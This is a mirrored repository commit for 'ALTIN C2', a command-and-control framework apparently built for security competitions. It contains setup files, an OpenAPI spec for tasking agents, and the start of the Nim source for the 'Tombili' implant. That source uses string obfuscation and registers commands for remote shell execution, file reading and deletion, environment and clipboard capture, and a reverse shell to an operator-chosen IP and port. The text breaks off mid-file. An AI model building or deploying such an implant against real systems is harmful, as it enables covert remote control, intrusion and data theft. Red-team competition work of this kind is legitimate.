mirror of
https://github.com/ConnorGadbois/altin.git
synced 2026-10-21 20:46:17 -05:00
Initial commit
This commit is contained in:
commit
74df04ce5a
32
README.md
Normal file
32
README.md
Normal file
@ -0,0 +1,32 @@
|
||||
# ALTIN C2
|
||||
|
||||
## Docker Setup
|
||||
Modify the environment variables in `docker-compose.yml` as needed.
|
||||
|
||||
```bash
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
## Development Setup
|
||||
### Server
|
||||
```bash
|
||||
cd server
|
||||
cp .env.example .env
|
||||
|
||||
# Modify .env as needed, recomended to use sqlite database
|
||||
|
||||
pip install -r requirements.txt
|
||||
|
||||
python3 debug_server.py
|
||||
```
|
||||
|
||||
### Web UI
|
||||
```bash
|
||||
cd webui
|
||||
python3 -m http.server # Starts a webserver on port 8000
|
||||
```
|
||||
|
||||
## Implants
|
||||
|Implant|Description|Language|OS|
|
||||
|---|---|---|---|
|
||||
|`Tombili`|Competition focused implant with general purpose functionality|Nim|Windows, Linux|
|
||||
45
docker-compose.yml
Normal file
45
docker-compose.yml
Normal file
@ -0,0 +1,45 @@
|
||||
services:
|
||||
postgres:
|
||||
image: postgres:16-alpine
|
||||
restart: unless-stopped
|
||||
environment:
|
||||
POSTGRES_USER: altin
|
||||
POSTGRES_PASSWORD: yLZi744l2vhTZbDvVFfKQxK8TgrefTCn # CHANGE ME
|
||||
POSTGRES_DB: altin
|
||||
volumes:
|
||||
- postgres-data:/var/lib/postgresql/data
|
||||
healthcheck:
|
||||
test: ["CMD-SHELL", "pg_isready -U altin -d altin"]
|
||||
interval: 5s
|
||||
timeout: 5s
|
||||
retries: 12
|
||||
start_period: 10s
|
||||
|
||||
server:
|
||||
build:
|
||||
context: ./server
|
||||
restart: unless-stopped
|
||||
depends_on:
|
||||
postgres:
|
||||
condition: service_healthy
|
||||
environment:
|
||||
ALTIN_PORT: 3000
|
||||
ALTIN_DATABASE: postgres
|
||||
ALTIN_PGSQL_DATABASE: altin
|
||||
ALTIN_PGSQL_HOST: postgres
|
||||
ALTIN_PGSQL_PORT: 5432
|
||||
ALTIN_PGSQL_USER: altin
|
||||
ALTIN_PGSQL_PASSWORD: yLZi744l2vhTZbDvVFfKQxK8TgrefTCn # CHANGE ME (same as postgres' POSTGRES_PASSWORD)
|
||||
ALTIN_JWT_SECRET: ctoV2G4E1XR8JOqd9VFiRMrbVWsXlAEg4E88_QcaRLDq41T0Rtx-OD3-FA5UDnrj # CHANGE ME
|
||||
ports:
|
||||
- "5000:5000"
|
||||
|
||||
webui:
|
||||
build:
|
||||
context: ./webui
|
||||
restart: unless-stopped
|
||||
ports:
|
||||
- "8080:80"
|
||||
|
||||
volumes:
|
||||
postgres-data:
|
||||
817
docs/ManagementAPI.yml
Normal file
817
docs/ManagementAPI.yml
Normal file
@ -0,0 +1,817 @@
|
||||
openapi: 3.0.3
|
||||
info:
|
||||
title: Altin Management API
|
||||
version: 1.0.0
|
||||
description: >
|
||||
REST API for managing agents, tasks, keys, and users in the Altin framework.
|
||||
|
||||
Every endpoint requires an `Authorization` header containing the JWT returned by
|
||||
`POST /api/login`, except for `POST /api/login` itself and the `/api/users`
|
||||
endpoints, which are unauthenticated.
|
||||
servers:
|
||||
- url: http://localhost:5000
|
||||
description: Debug server
|
||||
security:
|
||||
- BearerAuth: []
|
||||
components:
|
||||
securitySchemes:
|
||||
BearerAuth:
|
||||
type: apiKey
|
||||
in: header
|
||||
name: Authorization
|
||||
description: JWT token returned by `POST /api/login`, sent as the raw header value
|
||||
schemas:
|
||||
LoginRequest:
|
||||
type: object
|
||||
required:
|
||||
- username
|
||||
- password
|
||||
properties:
|
||||
username:
|
||||
type: string
|
||||
password:
|
||||
type: string
|
||||
format: password
|
||||
LoginResponse:
|
||||
type: object
|
||||
properties:
|
||||
message:
|
||||
type: string
|
||||
token:
|
||||
type: string
|
||||
Agent:
|
||||
type: object
|
||||
properties:
|
||||
id:
|
||||
type: string
|
||||
format: uuid
|
||||
implant_id:
|
||||
type: string
|
||||
ip:
|
||||
type: string
|
||||
os:
|
||||
type: string
|
||||
commands:
|
||||
type: array
|
||||
items:
|
||||
type: object
|
||||
tags:
|
||||
type: array
|
||||
items:
|
||||
type: string
|
||||
last_checkin:
|
||||
type: string
|
||||
format: date-time
|
||||
AgentsResponse:
|
||||
type: object
|
||||
properties:
|
||||
agents:
|
||||
type: array
|
||||
items:
|
||||
$ref: '#/components/schemas/Agent'
|
||||
Task:
|
||||
type: object
|
||||
properties:
|
||||
id:
|
||||
type: string
|
||||
format: uuid
|
||||
agent:
|
||||
type: string
|
||||
format: uuid
|
||||
task:
|
||||
type: string
|
||||
args:
|
||||
type: array
|
||||
items:
|
||||
type: string
|
||||
sent:
|
||||
type: boolean
|
||||
completed:
|
||||
type: boolean
|
||||
TasksResponse:
|
||||
type: object
|
||||
properties:
|
||||
tasks:
|
||||
type: array
|
||||
items:
|
||||
$ref: '#/components/schemas/Task'
|
||||
TaskResult:
|
||||
type: object
|
||||
properties:
|
||||
id:
|
||||
type: string
|
||||
format: uuid
|
||||
task:
|
||||
type: string
|
||||
format: uuid
|
||||
result:
|
||||
type: string
|
||||
nullable: true
|
||||
timestamp:
|
||||
type: string
|
||||
description: Timestamp formatted by the server as `YYYY-MM-DD HH:MM:SS.ffffff`
|
||||
example: '2026-09-26 12:34:56.789012'
|
||||
TaskResultsResponse:
|
||||
type: object
|
||||
properties:
|
||||
results:
|
||||
type: array
|
||||
items:
|
||||
$ref: '#/components/schemas/TaskResult'
|
||||
Key:
|
||||
type: object
|
||||
properties:
|
||||
id:
|
||||
type: string
|
||||
format: uuid
|
||||
name:
|
||||
type: string
|
||||
key:
|
||||
type: string
|
||||
KeysResponse:
|
||||
type: object
|
||||
properties:
|
||||
keys:
|
||||
type: array
|
||||
items:
|
||||
$ref: '#/components/schemas/Key'
|
||||
KeyRequest:
|
||||
type: object
|
||||
required:
|
||||
- name
|
||||
- key
|
||||
properties:
|
||||
name:
|
||||
type: string
|
||||
key:
|
||||
type: string
|
||||
KeyDeleteRequest:
|
||||
type: object
|
||||
required:
|
||||
- id
|
||||
properties:
|
||||
id:
|
||||
type: string
|
||||
format: uuid
|
||||
User:
|
||||
type: object
|
||||
properties:
|
||||
id:
|
||||
type: string
|
||||
format: uuid
|
||||
username:
|
||||
type: string
|
||||
admin:
|
||||
type: boolean
|
||||
UsersResponse:
|
||||
type: object
|
||||
properties:
|
||||
users:
|
||||
type: array
|
||||
items:
|
||||
$ref: '#/components/schemas/User'
|
||||
UserRequest:
|
||||
type: object
|
||||
required:
|
||||
- username
|
||||
- password
|
||||
- admin
|
||||
properties:
|
||||
username:
|
||||
type: string
|
||||
password:
|
||||
type: string
|
||||
format: password
|
||||
admin:
|
||||
type: boolean
|
||||
UserPatchRequest:
|
||||
type: object
|
||||
required:
|
||||
- id
|
||||
properties:
|
||||
id:
|
||||
type: string
|
||||
format: uuid
|
||||
username:
|
||||
type: string
|
||||
password:
|
||||
type: string
|
||||
format: password
|
||||
admin:
|
||||
type: boolean
|
||||
TaskCreateRequest:
|
||||
type: object
|
||||
required:
|
||||
- agent_id
|
||||
- command
|
||||
- args
|
||||
properties:
|
||||
agent_id:
|
||||
type: string
|
||||
format: uuid
|
||||
command:
|
||||
type: string
|
||||
args:
|
||||
type: array
|
||||
items:
|
||||
type: string
|
||||
TagAgentRequest:
|
||||
type: object
|
||||
required:
|
||||
- tags
|
||||
description: Tags to add to the agent (POST) or remove from the agent (DELETE)
|
||||
properties:
|
||||
tags:
|
||||
type: array
|
||||
items:
|
||||
type: string
|
||||
UserDeleteRequest:
|
||||
type: object
|
||||
required:
|
||||
- id
|
||||
properties:
|
||||
id:
|
||||
type: string
|
||||
format: uuid
|
||||
ErrorResponse:
|
||||
type: object
|
||||
properties:
|
||||
message:
|
||||
type: string
|
||||
MessageResponse:
|
||||
type: object
|
||||
properties:
|
||||
message:
|
||||
type: string
|
||||
paths:
|
||||
/api/login:
|
||||
post:
|
||||
summary: User login
|
||||
description: Authenticate a user and return a JWT token
|
||||
operationId: login
|
||||
security: []
|
||||
requestBody:
|
||||
required: true
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/LoginRequest'
|
||||
responses:
|
||||
'200':
|
||||
description: Successful login
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/LoginResponse'
|
||||
'400':
|
||||
description: Invalid request - missing username or password
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/ErrorResponse'
|
||||
'401':
|
||||
description: Invalid username or password
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/ErrorResponse'
|
||||
/api/agents:
|
||||
get:
|
||||
summary: List all agents
|
||||
description: >
|
||||
Retrieve a list of all registered agents.
|
||||
|
||||
Note: the `ip`, `implant` and `os` filters are accepted but are not applied
|
||||
to the returned list - the full agent list is always returned.
|
||||
operationId: getAgents
|
||||
security:
|
||||
- BearerAuth: []
|
||||
parameters:
|
||||
- name: ip
|
||||
in: query
|
||||
schema:
|
||||
type: string
|
||||
description: Filter agents by IP address (currently not applied)
|
||||
- name: implant
|
||||
in: query
|
||||
schema:
|
||||
type: string
|
||||
description: Filter agents by implant ID (currently not applied)
|
||||
- name: os
|
||||
in: query
|
||||
schema:
|
||||
type: string
|
||||
description: Filter agents by operating system (currently not applied)
|
||||
responses:
|
||||
'200':
|
||||
description: List of agents
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/AgentsResponse'
|
||||
'401':
|
||||
description: Unauthorized - missing, expired or invalid token
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/ErrorResponse'
|
||||
/api/agents/{agent_id}:
|
||||
get:
|
||||
summary: Get agent by ID
|
||||
description: Retrieve details of a specific agent
|
||||
operationId: getAgent
|
||||
security:
|
||||
- BearerAuth: []
|
||||
parameters:
|
||||
- name: agent_id
|
||||
in: path
|
||||
required: true
|
||||
schema:
|
||||
type: string
|
||||
format: uuid
|
||||
description: Agent UUID
|
||||
responses:
|
||||
'200':
|
||||
description: Agent details
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/Agent'
|
||||
'401':
|
||||
description: Unauthorized - missing, expired or invalid token
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/ErrorResponse'
|
||||
'404':
|
||||
description: Agent not found
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/ErrorResponse'
|
||||
delete:
|
||||
summary: Delete an agent
|
||||
description: Delete a specific agent
|
||||
operationId: deleteAgent
|
||||
security:
|
||||
- BearerAuth: []
|
||||
parameters:
|
||||
- name: agent_id
|
||||
in: path
|
||||
required: true
|
||||
schema:
|
||||
type: string
|
||||
format: uuid
|
||||
description: Agent UUID
|
||||
responses:
|
||||
'204':
|
||||
description: The agent was deleted
|
||||
'401':
|
||||
description: Unauthorized - missing, expired or invalid token
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/ErrorResponse'
|
||||
'404':
|
||||
description: Agent not found
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/ErrorResponse'
|
||||
/api/agents/{agent_id}/tags:
|
||||
post:
|
||||
summary: Add tags to an agent
|
||||
description: Append tags to an existing agent. Tags already present are ignored.
|
||||
operationId: tagAgent
|
||||
security:
|
||||
- BearerAuth: []
|
||||
parameters:
|
||||
- name: agent_id
|
||||
in: path
|
||||
required: true
|
||||
schema:
|
||||
type: string
|
||||
format: uuid
|
||||
description: Agent UUID
|
||||
requestBody:
|
||||
required: true
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/TagAgentRequest'
|
||||
responses:
|
||||
'201':
|
||||
description: Agent updated
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/MessageResponse'
|
||||
'400':
|
||||
description: Invalid request - missing tags or tags is not an array
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/ErrorResponse'
|
||||
'401':
|
||||
description: Unauthorized - missing, expired or invalid token
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/ErrorResponse'
|
||||
'404':
|
||||
description: Agent not found
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/ErrorResponse'
|
||||
delete:
|
||||
summary: Remove tags from an agent
|
||||
description: >
|
||||
Remove tags from an existing agent. Tags that are not present are ignored.
|
||||
|
||||
Note: the current implementation does not modify the stored tags - it
|
||||
responds with 201 and the agent's tag list is left unchanged.
|
||||
operationId: untagAgent
|
||||
security:
|
||||
- BearerAuth: []
|
||||
parameters:
|
||||
- name: agent_id
|
||||
in: path
|
||||
required: true
|
||||
schema:
|
||||
type: string
|
||||
format: uuid
|
||||
description: Agent UUID
|
||||
requestBody:
|
||||
required: true
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/TagAgentRequest'
|
||||
responses:
|
||||
'201':
|
||||
description: Agent updated
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/MessageResponse'
|
||||
'400':
|
||||
description: Invalid request - missing tags or tags is not an array
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/ErrorResponse'
|
||||
'401':
|
||||
description: Unauthorized - missing, expired or invalid token
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/ErrorResponse'
|
||||
'404':
|
||||
description: Agent not found
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/ErrorResponse'
|
||||
/api/tasks:
|
||||
get:
|
||||
summary: List tasks
|
||||
description: Retrieve tasks with optional filtering
|
||||
operationId: getTasks
|
||||
security:
|
||||
- BearerAuth: []
|
||||
parameters:
|
||||
- name: id
|
||||
in: query
|
||||
schema:
|
||||
type: string
|
||||
format: uuid
|
||||
description: Filter by agent ID
|
||||
- name: agent
|
||||
in: query
|
||||
schema:
|
||||
type: string
|
||||
format: uuid
|
||||
description: Filter by agent ID (alias for id)
|
||||
- name: sent
|
||||
in: query
|
||||
schema:
|
||||
type: string
|
||||
enum: ['true', 'false']
|
||||
description: Filter by sent status
|
||||
- name: completed
|
||||
in: query
|
||||
schema:
|
||||
type: string
|
||||
enum: ['true', 'false']
|
||||
description: Filter by completed status
|
||||
responses:
|
||||
'200':
|
||||
description: List of tasks
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/TasksResponse'
|
||||
'400':
|
||||
description: Invalid query parameter - sent or completed is not 'true' or 'false'
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/ErrorResponse'
|
||||
'401':
|
||||
description: Unauthorized - missing, expired or invalid token
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/ErrorResponse'
|
||||
post:
|
||||
summary: Create a new task
|
||||
description: >
|
||||
Create a task for a specific agent with a command and arguments. The number of
|
||||
arguments must exactly match the number of required arguments declared by the
|
||||
agent for that command.
|
||||
operationId: createTask
|
||||
security:
|
||||
- BearerAuth: []
|
||||
requestBody:
|
||||
required: true
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/TaskCreateRequest'
|
||||
responses:
|
||||
'201':
|
||||
description: Task sent
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/MessageResponse'
|
||||
'400':
|
||||
description: Invalid request - missing body fields, or the command is not supported by the agent
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/ErrorResponse'
|
||||
'401':
|
||||
description: Unauthorized - missing, expired or invalid token
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/ErrorResponse'
|
||||
'404':
|
||||
description: Agent not found, or the number of supplied arguments does not match the required arguments
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/ErrorResponse'
|
||||
/api/task-results:
|
||||
get:
|
||||
summary: List task results
|
||||
description: >
|
||||
Retrieve task results with optional filtering.
|
||||
|
||||
Note: filtering by `task_id` only takes effect when the undocumented `agent`
|
||||
query parameter is supplied as well; sending `task_id` on its own results in
|
||||
a server error.
|
||||
operationId: getTaskResults
|
||||
security:
|
||||
- BearerAuth: []
|
||||
parameters:
|
||||
- name: id
|
||||
in: query
|
||||
schema:
|
||||
type: string
|
||||
format: uuid
|
||||
description: Filter by result ID
|
||||
- name: task_id
|
||||
in: query
|
||||
schema:
|
||||
type: string
|
||||
format: uuid
|
||||
description: Filter by task ID (requires the `agent` query parameter)
|
||||
- name: agent
|
||||
in: query
|
||||
schema:
|
||||
type: string
|
||||
description: >
|
||||
Has no effect on its own; it must be supplied together with `task_id`
|
||||
for the task ID filter to be applied
|
||||
responses:
|
||||
'200':
|
||||
description: List of task results
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/TaskResultsResponse'
|
||||
'401':
|
||||
description: Unauthorized - missing, expired or invalid token
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/ErrorResponse'
|
||||
'500':
|
||||
description: Server error - `task_id` was supplied without the `agent` query parameter
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/ErrorResponse'
|
||||
/api/keys:
|
||||
get:
|
||||
summary: List all keys
|
||||
description: Retrieve a list of all stored keys
|
||||
operationId: getKeys
|
||||
security:
|
||||
- BearerAuth: []
|
||||
responses:
|
||||
'200':
|
||||
description: List of keys
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/KeysResponse'
|
||||
'401':
|
||||
description: Unauthorized - missing, expired or invalid token
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/ErrorResponse'
|
||||
post:
|
||||
summary: Create a new key
|
||||
description: Store a new key with a name
|
||||
operationId: createKey
|
||||
security:
|
||||
- BearerAuth: []
|
||||
requestBody:
|
||||
required: true
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/KeyRequest'
|
||||
responses:
|
||||
'200':
|
||||
description: A key with that name already exists - no key was created
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/ErrorResponse'
|
||||
'201':
|
||||
description: Key created successfully
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/MessageResponse'
|
||||
'400':
|
||||
description: Invalid request - missing key or name
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/ErrorResponse'
|
||||
'401':
|
||||
description: Unauthorized - missing, expired or invalid token
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/ErrorResponse'
|
||||
delete:
|
||||
summary: Delete a key
|
||||
description: Delete a key by its ID
|
||||
operationId: deleteKey
|
||||
security:
|
||||
- BearerAuth: []
|
||||
requestBody:
|
||||
required: true
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/KeyDeleteRequest'
|
||||
responses:
|
||||
'204':
|
||||
description: The key was deleted
|
||||
'400':
|
||||
description: Invalid request - missing id
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/ErrorResponse'
|
||||
'401':
|
||||
description: Unauthorized - missing, expired or invalid token
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/ErrorResponse'
|
||||
'404':
|
||||
description: Key not found
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/ErrorResponse'
|
||||
/api/users:
|
||||
get:
|
||||
summary: List all users
|
||||
description: Retrieve a list of all users (unauthenticated endpoint)
|
||||
operationId: getUsers
|
||||
security: []
|
||||
responses:
|
||||
'200':
|
||||
description: List of users
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/UsersResponse'
|
||||
post:
|
||||
summary: Create a new user
|
||||
description: Register a new user account (unauthenticated endpoint)
|
||||
operationId: createUser
|
||||
security: []
|
||||
requestBody:
|
||||
required: true
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/UserRequest'
|
||||
responses:
|
||||
'200':
|
||||
description: Success - user created successfully
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/MessageResponse'
|
||||
'400':
|
||||
description: Invalid request - missing fields, or admin is not a boolean
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/ErrorResponse'
|
||||
'403':
|
||||
description: A user with that username already exists
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/ErrorResponse'
|
||||
patch:
|
||||
summary: Update a user
|
||||
description: >
|
||||
Update user details (username, password, or admin status) by ID
|
||||
(unauthenticated endpoint).
|
||||
|
||||
Note: only one field is applied per request, in the order username, then
|
||||
password, then admin - whichever comes first in the body.
|
||||
operationId: editUser
|
||||
security: []
|
||||
requestBody:
|
||||
required: true
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/UserPatchRequest'
|
||||
responses:
|
||||
'200':
|
||||
description: User updated
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/MessageResponse'
|
||||
'400':
|
||||
description: Invalid request - missing id
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/ErrorResponse'
|
||||
'404':
|
||||
description: User not found
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/ErrorResponse'
|
||||
'500':
|
||||
description: Server error - currently returned whenever `admin` is supplied
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/ErrorResponse'
|
||||
delete:
|
||||
summary: Delete a user
|
||||
description: Delete a user by ID (unauthenticated endpoint)
|
||||
operationId: deleteUser
|
||||
security: []
|
||||
requestBody:
|
||||
required: true
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/UserDeleteRequest'
|
||||
responses:
|
||||
'204':
|
||||
description: User deleted
|
||||
'400':
|
||||
description: Invalid request - missing id
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/ErrorResponse'
|
||||
'404':
|
||||
description: User not found
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: '#/components/schemas/ErrorResponse'
|
||||
30
implants/tombili/README.md
Normal file
30
implants/tombili/README.md
Normal file
@ -0,0 +1,30 @@
|
||||
# Tombili Agent
|
||||
|
||||
## Configuring
|
||||
Change the values in `src/config.nim` as needed.
|
||||
|
||||
## Compiling
|
||||
```bash
|
||||
nim c -d:release -d:ssl -o:tombili.bin src/main.nim
|
||||
|
||||
# If compiling for Windows from MacOS or Linux:
|
||||
nim c -d:release -d:ssl -o:tombili.exe src/main.nim
|
||||
```
|
||||
|
||||
## Commands
|
||||
|Command|Platform|Description|Arguments|
|
||||
|---|---|---|---|
|
||||
|`shell`|Windows, Linux|Run a command|command: str|
|
||||
|`getsleep`|Windows, Linux|Get the current sleep time||
|
||||
|`setsleep`|Windows, Linux|Set the sleep time between callbacks|sleep: float, jitter: float|
|
||||
|`whoami`|Windows, Linux|Get the user that Tombili is running as||
|
||||
|`cat`|Windows, Linux|Read the contents of a file|path: str|
|
||||
|`fileinfo`|Windows, Linux|Get information about a file|path: str|
|
||||
|`mv`|Windows, Linux|Move a file or directory|source: str, destination: str|
|
||||
|`rm`|Windows, Linux|Delete a file|path: str|
|
||||
|`getenv`|Windows, Linux|Get all environment variables||
|
||||
|`pid`|Windows, Linux|Get the ID of the current process||
|
||||
|`reverseshell`|Windows, Linux|Start a reverse shell|ip: str, port: int|
|
||||
|`msgbox`|Windows|Display a message box|title: str, body: str|
|
||||
|`getclipboard`|Windows|Get the contents of the clipboard||
|
||||
|`kill`|Windows, Linux|Kill the agent||
|
||||
325
implants/tombili/src/commands.nim
Normal file
325
implants/tombili/src/commands.nim
Normal file
@ -0,0 +1,325 @@
|
||||
import json
|
||||
|
||||
import shared
|
||||
import utils
|
||||
|
||||
when defined(linux):
|
||||
import linux
|
||||
|
||||
when defined(windows):
|
||||
import windows
|
||||
|
||||
type
|
||||
CommandArgument* = object
|
||||
name*: string
|
||||
arg_type*: string
|
||||
description: string
|
||||
required: bool
|
||||
|
||||
Command* = object
|
||||
command*: string
|
||||
description*: string
|
||||
args*: seq[CommandArgument]
|
||||
function*: proc(task: JsonNode): string
|
||||
|
||||
var commands*: seq[Command] = @[]
|
||||
|
||||
# Load commands
|
||||
when defined(linux):
|
||||
# shell
|
||||
commands.add(
|
||||
Command(
|
||||
command: obf("shell"),
|
||||
description: obf("Run a command on the system using /bin/sh"),
|
||||
args: @[
|
||||
CommandArgument(name: obf("command"), arg_type: obf("str"), description: obf("The command to run"), required: true)
|
||||
],
|
||||
function: linux.shell
|
||||
)
|
||||
)
|
||||
|
||||
# getsleep
|
||||
commands.add(
|
||||
Command(
|
||||
command: obf("getsleep"),
|
||||
description: obf("Get the current sleep time"),
|
||||
args: @[],
|
||||
function: shared.getSleep
|
||||
)
|
||||
)
|
||||
|
||||
# setsleep
|
||||
commands.add(
|
||||
Command(
|
||||
command: obf("setsleep"),
|
||||
description: obf("Set the sleep time between callbacks"),
|
||||
args: @[
|
||||
CommandArgument(name: obf("sleep"), arg_type: obf("float"), description: obf("Seconds to sleep for"), required: true),
|
||||
CommandArgument(name: obf("jitter"), arg_type: obf("float"), description: obf("Seconds of jitter"), required: true)
|
||||
],
|
||||
function: shared.setSleep
|
||||
)
|
||||
)
|
||||
|
||||
# whoami
|
||||
commands.add(
|
||||
Command(
|
||||
command: obf("whoami"),
|
||||
description: obf("Get the user that Tombili is running as"),
|
||||
args: @[],
|
||||
function: linux.whoami
|
||||
)
|
||||
)
|
||||
|
||||
# cat
|
||||
commands.add(
|
||||
Command(
|
||||
command: obf("cat"),
|
||||
description: obf("Read the contents of a file"),
|
||||
args: @[
|
||||
CommandArgument(name: obf("path"), arg_type: obf("str"), description: obf("The absolute path of the file to read"), required: true)
|
||||
],
|
||||
function: shared.cat
|
||||
)
|
||||
)
|
||||
|
||||
# fileinfo
|
||||
commands.add(
|
||||
Command(
|
||||
command: obf("fileinfo"),
|
||||
description: obf("Get information about a file"),
|
||||
args: @[
|
||||
CommandArgument(name: obf("path"), arg_type: obf("str"), description: obf("The absolute path of the file"), required: true)
|
||||
],
|
||||
function: shared.fileinfo
|
||||
)
|
||||
)
|
||||
|
||||
# mv
|
||||
commands.add(
|
||||
Command(
|
||||
command: obf("mv"),
|
||||
description: obf("Move a file or directory"),
|
||||
args: @[
|
||||
CommandArgument(name: obf("source"), arg_type: obf("str"), description: obf("The source file or directory"), required: true),
|
||||
CommandArgument(name: obf("destination"), arg_type: obf("str"), description: obf("The destination file or directory"), required: true)
|
||||
],
|
||||
function: shared.mv
|
||||
)
|
||||
)
|
||||
|
||||
# rm
|
||||
commands.add(
|
||||
Command(
|
||||
command: obf("rm"),
|
||||
description: obf("Delete a file"),
|
||||
args: @[
|
||||
CommandArgument(name: obf("path"), arg_type: obf("str"), description: obf("The absolute path of the file to delete"), required: true)
|
||||
],
|
||||
function: shared.rm
|
||||
)
|
||||
)
|
||||
|
||||
# getenv
|
||||
commands.add(
|
||||
Command(
|
||||
command: obf("getenv"),
|
||||
description: obf("Get all environemnt variables"),
|
||||
args: @[],
|
||||
function: shared.getEnv
|
||||
)
|
||||
)
|
||||
|
||||
# reverseshell
|
||||
commands.add(
|
||||
Command(
|
||||
command: obf("reverseshell"),
|
||||
description: obf("Start a reverse shell"),
|
||||
args: @[
|
||||
CommandArgument(name: obf("ip"), arg_type: obf("str"), description: obf("The IP to connect to"), required: true),
|
||||
CommandArgument(name: obf("port"), arg_type: obf("int"), description: obf("The port to connect to"), required: true)
|
||||
],
|
||||
function: shared.reverseShell
|
||||
)
|
||||
)
|
||||
|
||||
# pid
|
||||
commands.add(
|
||||
Command(
|
||||
command: obf("pid"),
|
||||
description: obf("Get the id of the current process"),
|
||||
args: @[],
|
||||
function: shared.pid
|
||||
)
|
||||
)
|
||||
|
||||
# kill
|
||||
commands.add(
|
||||
Command(
|
||||
command: obf("kill"),
|
||||
description: obf("Kill the agent"),
|
||||
args: @[],
|
||||
function: shared.kill
|
||||
)
|
||||
)
|
||||
|
||||
when defined(windows):
|
||||
# shell
|
||||
commands.add(
|
||||
Command(
|
||||
command: obf("shell"),
|
||||
description: obf("Run a command on the system using cmd"),
|
||||
args: @[
|
||||
CommandArgument(name: obf("command"), arg_type: obf("str"), description: obf("The command to run"), required: true)
|
||||
],
|
||||
function: windows.shell
|
||||
)
|
||||
)
|
||||
|
||||
# getsleep
|
||||
commands.add(
|
||||
Command(
|
||||
command: obf("getsleep"),
|
||||
description: obf("Get the current sleep time"),
|
||||
args: @[],
|
||||
function: shared.getSleep
|
||||
)
|
||||
)
|
||||
|
||||
# setsleep
|
||||
commands.add(
|
||||
Command(
|
||||
command: obf("setsleep"),
|
||||
description: obf("Set the sleep time between callbacks"),
|
||||
args: @[
|
||||
CommandArgument(name: obf("sleep"), arg_type: obf("float"), description: obf("Seconds to sleep for"), required: true),
|
||||
CommandArgument(name: obf("jitter"), arg_type: obf("float"), description: obf("Seconds of jitter"), required: true)
|
||||
],
|
||||
